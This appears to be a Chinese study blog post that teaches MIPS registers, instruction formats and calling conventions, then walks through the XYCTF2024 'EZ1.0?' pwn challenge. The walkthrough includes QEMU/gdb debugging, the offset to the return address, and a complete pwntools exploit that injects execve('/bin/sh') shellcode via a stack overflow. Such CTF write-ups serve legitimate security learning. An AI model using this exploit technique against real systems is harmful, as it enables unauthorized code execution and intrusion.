mips基础知识
mars编译器
mips操作总结
寄存器布局
| 寄存器名 |
编号 |
用途 |
关注点 |
| $zero |
$0 |
恒为 0 |
无法修改,常用于清零操作 |
| $a0 - $a3 |
$4 - $7 |
参数传递 |
函数的前 4 个参数,超过的压栈 |
| $v0 - $v1 |
$2 - $3 |
返回值 |
寻找漏洞后的函数执行结果检查 |
| $t0 - $t9 |
$8 - $15 |
临时变量 |
类似于 eax/ebx,随意使用 |
| $s0 - $s7 |
$16 - $23 |
静态变量 |
函数调用后需恢复(Callee-saved) |
| $gp |
$28 |
全局指针 |
访问全局数据 |
| $sp |
$29 |
栈指针 |
栈溢出的核心:指向当前栈顶 |
| $fp |
$30 |
帧指针 |
局部变量定位 |
| $ra |
$31 |
返回地址 |
最核心! 相当于 x86 的 EIP 返回值。劫持它就控制了执行流 |
$t (Temporary, 寄存器 8-15, 24-25): * 临时工。调用别的函数时,这些寄存器的值不保证还能留着。如果你的函数里用了 $t0,紧接着执行了 jal 调用另一个函数,回来后 $t0 的值可能已经被改了。
$s (Saved, 寄存器 16-23): * 正式工。调用别的函数时,这些值必须保持不变。如果一个函数想用 $s0,它必须先把原来的值存到栈里,用完再恢复(即“谁用谁负责还原”)。
延迟槽 (Delay Slot) —— 重点!
这是 MIPS 的特殊之处。当 beq 或 bne 条件成立需要跳转时,紧跟在分支指令后面的那一条指令仍然会被执行,然后才跳转到目标位置。
Pwn 贴士: 在分析漏洞函数时,如果你看到一条 bne 指令,别忘了看它下面那一行做了什么。有时候关键的寄存器赋值就在延迟槽里完成。
R型,I型,J型
根据指令格式的不同,可以分为R型,I型,J型
在 x86 中,指令长度是可变的(1 字节到 15 字节都有)。但在 MIPS 里,为了让 CPU 处理指令像流水线一样快,所有指令必须整整齐齐都是 32 位。
1. R 型指令 (Register, 寄存器型)
用途: 纯粹的寄存器间运算(加减乘除、逻辑运算、移位)。 特点: 所有的操作数都在寄存器里,不涉及内存,也不涉及具体的常数。
- 结构拆解:
- op (6位): 操作码。R 型指令的这个字段全为 0。
- rs, rt (各5位): 两个源寄存器(输入的两个数)。
- rd (5位): 目的寄存器(存结果的地方)。
- shamt (5位): 移位量(仅用于
sll, srl 等移位指令,平时为 0)。
- funct (6位): 关键字段。因为 op 字段被占用了,真正的动作(是加法还是减法)由最后这 6 位决定。

- I 型指令 (Immediate, 立即数型)
用途: 涉及常数的运算、内存访问(装载/存储)以及条件分支。 特点: 指令中直接包含了一个 16 位的数值。
- 结构拆解:
- op (6位): 操作码。直接决定动作(如
addi 为 8,lw 为 35)。
- rs (5位): 源寄存器。
- rt (5位): 目标寄存器(对于
lw)或第二个源寄存器(对于 beq)。
- immediate (16位): 立即数。存放一个常数、内存偏移量或跳转的相对地址。

- J 型指令 (Jump, 跳转型)
用途: 用于大范围的无条件跳转(如函数调用或 goto)。 特点: 结构最简单,为了跳得足够远,它把剩下的 26 位全给了目标地址。
- 结构拆解:
- op (6位): 操作码(如
j 为 2,jal 为 3)。
- address (26位): 跳转的目标地址。

总结
参数寄存器 ($a0 - $a3):函数调用的前 4 个参数放在这里。如果你想调用 system("/bin/sh"),你必须想办法把 "/bin/sh" 的地址塞进 $a0。
返回值寄存器 ($v0, $v1):函数执行完的结果放在这。
返回地址寄存器 ($ra):Pwn 的终极目标。函数执行完 jr $ra 跳转回调用者。
在 C 语言中,当 main 函数调用 vuln() 时,汇编层面会执行 jal(Jump and Link)指令:
MIPS Assembler
1 2 3
| ># main 函数内部 >jal 0x400500 <-- 调用 vuln 函数 ># 下一条指令的地址 A (假设是 0x400404)
|
关键动作: jal 指令在跳转到 0x400500 的瞬间,会自动把“下一条指令的地址 A”存入 $ra 寄存器。这样 vuln 执行完后,才知道该回到哪里继续运行。
栈指针寄存器 ($sp):指向当前栈顶。MIPS 没有 push/pop,全是靠 addi $sp, $sp, -imm 来手动开辟空间。
零寄存器 ($zero):值永远为 0。常用于清零或赋值操作。
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| # ---------------------------------------------------------------- # 程序功能:输入两个整数,输出其中较大的那个 # ----------------------------------------------------------------
.data prompt: .asciiz "请输入两个整数(空格分隔):" result_msg: .asciiz "较大的数是:" newline: .asciiz "\n"
.text .globl main
main: # 1. 打印提示字符串 (syscall 4) li $v0, 4 la $a0, prompt syscall
# 2. 读取第一个整数 (syscall 5),存入 $s0 li $v0, 5 syscall move $s0, $v0
# 3. 读取第二个整数 (syscall 5),存入 $s1 li $v0, 5 syscall move $s1, $v0
# 4. 调用函数 find_max (参数传给 $a0, $a1) move $a0, $s0 move $a1, $s1 jal find_max # 跳转并链接,返回地址存入 $ra move $s2, $v0 # 函数结果返回在 $v0,我们把它搬到 $s2
# 5. 打印结果提示 li $v0, 4 la $a0, result_msg syscall
# 6. 打印最大的数 (刚才存好的 $s2) li $v0, 1 move $a0, $s2 syscall
# 7. 优雅退出 (syscall 10) li $v0, 10 syscall
# --- 子函数:find_max --- # 参数:$a0, $a1 # 返回值:$v0 (较大的数) find_max: # 比较 $a0 < $a1 slt $t0, $a0, $a1 # 如果 $a0 < $a1, $t0 = 1 beq $t0, $zero, a0_is_bigger # 如果 $t0 == 0 (即 a0 >= a1),跳转 # 情况1:a1 更大 move $v0, $a1 jr $ra # 返回 main
a0_is_bigger: # 情况2:a0 更大 move $v0, $a0 jr $ra # 返回 main
|

如何在find_max:内部调用函数要通过sw把返回地址存在栈上
通过lw取出(相当于在sp+4的位置上临时储存返回地址)
1 2 3 4 5 6 7 8 9 10 11
| find_max: subu $sp, $sp, 8 # 开辟栈空间 sw $ra, 4($sp) # 保存返回地址 jal check_even # 假设这里又调用了一个判断奇偶的子函数 # ... 比较逻辑 ... lw $ra, 4($sp) addu $sp, $sp, 8 jr $ra
|
XYCTF2024_EZ1.0?例题
EZ1.0?
gdb调试流程
启动 QEMU (Server 端)
1
| qemu-mipsel-static -g 1234 ./mips
|
再开一个终端进行gdb调试
1 2 3 4
| gdb-multiarch ./mips#启动gdb并连接 set architecture mips#说明是mips架构 set endian little#小端序 target remote :1234#通过网络连接到QEMU开启的1234端口
|
杀死所有QEMU进程
1
| killall -9 qemu-mipsel-static
|
分析

输入地址是在sp+0x18处

从汇编可以看到返回地址是在sp+0x5c处
所以垃圾字节应该填充0x44个
也可以通过cyclic 0x100去看
或者根据fp的上一个是ret(每道题的情况不一定,根据实际情况分析)

找到偏移之后通过read写shellcode到bss,然后让它跳转过去执行
写shellcode
由于read的参数a1是通过fp去找的,fp是在sp+0x40处,所以用下面来覆盖参数地址和ret的地址
-0x60是由于函数在返回之前把sp又加了我回去,0x40+4是前面b’a’*0x40+p32(bss+0x200-0x60+0x40+4)的偏移
1
| payload = b'a'*0x40+p32(bss+0x200-0x60+0x40+4)+p32(read_addr)
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * context(arch='mips', os='linux', log_level='debug') # r = process(['qemu-mipsel-static', './mips']) file_path = "./mips" if 're' in sys.argv: p = remote("challenge.imxbt.cn",32196) else: # 静态链接去掉 -L 也可以,主要是 -g 方便你调试 p = process(["qemu-mipsel-static", "-g", "1234", file_path]) elf = ELF(file_path)
sc = asm(''' li $a2, 0 li $a1, 0 li $t0, 0x68732f2f sw $t0, -8($sp) li $t0, 0x6e69622f sw $t0, -12($sp) addiu $a0, $sp, -12 li $v0, 4011 syscall ''')
print(len(sc))
read_addr = 0x400860 bss=0x00492790 payload = b'a'*0x40+p32(bss+0x200-0x60+0x40+4)+p32(read_addr) p.send(payload)
payload = b'a'*0x44+p32(bss+0x200+0x40+4)+asm(shellcraft.sh()) p.send(payload) p.interactive()
|